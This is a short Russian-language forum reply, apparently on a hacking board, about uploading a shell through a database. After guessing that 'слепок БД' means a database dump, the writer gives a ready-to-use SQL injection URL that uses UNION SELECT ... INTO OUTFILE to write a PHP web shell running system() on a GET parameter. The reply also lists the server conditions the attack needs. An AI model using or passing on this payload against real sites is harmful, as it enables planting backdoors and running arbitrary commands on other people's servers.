Термин "слепок БД" мне не знаком. Могу предположить, что это дамп базы. С дампом ты шелл, конечно, не зальешь. Метода INSERT INTO FILE нету =\. В случае с гипотетической инъекцией, можно сделать так: http://site.ru/?id=-1+UNION+SELECT+1,'<?php system($_GET[cmd]); ?>',3+INTO+OUTFILE+'полный путь до файла'/*. Выполнится, если есть file_priv в mysql.user и magic_quotes_gpc=off.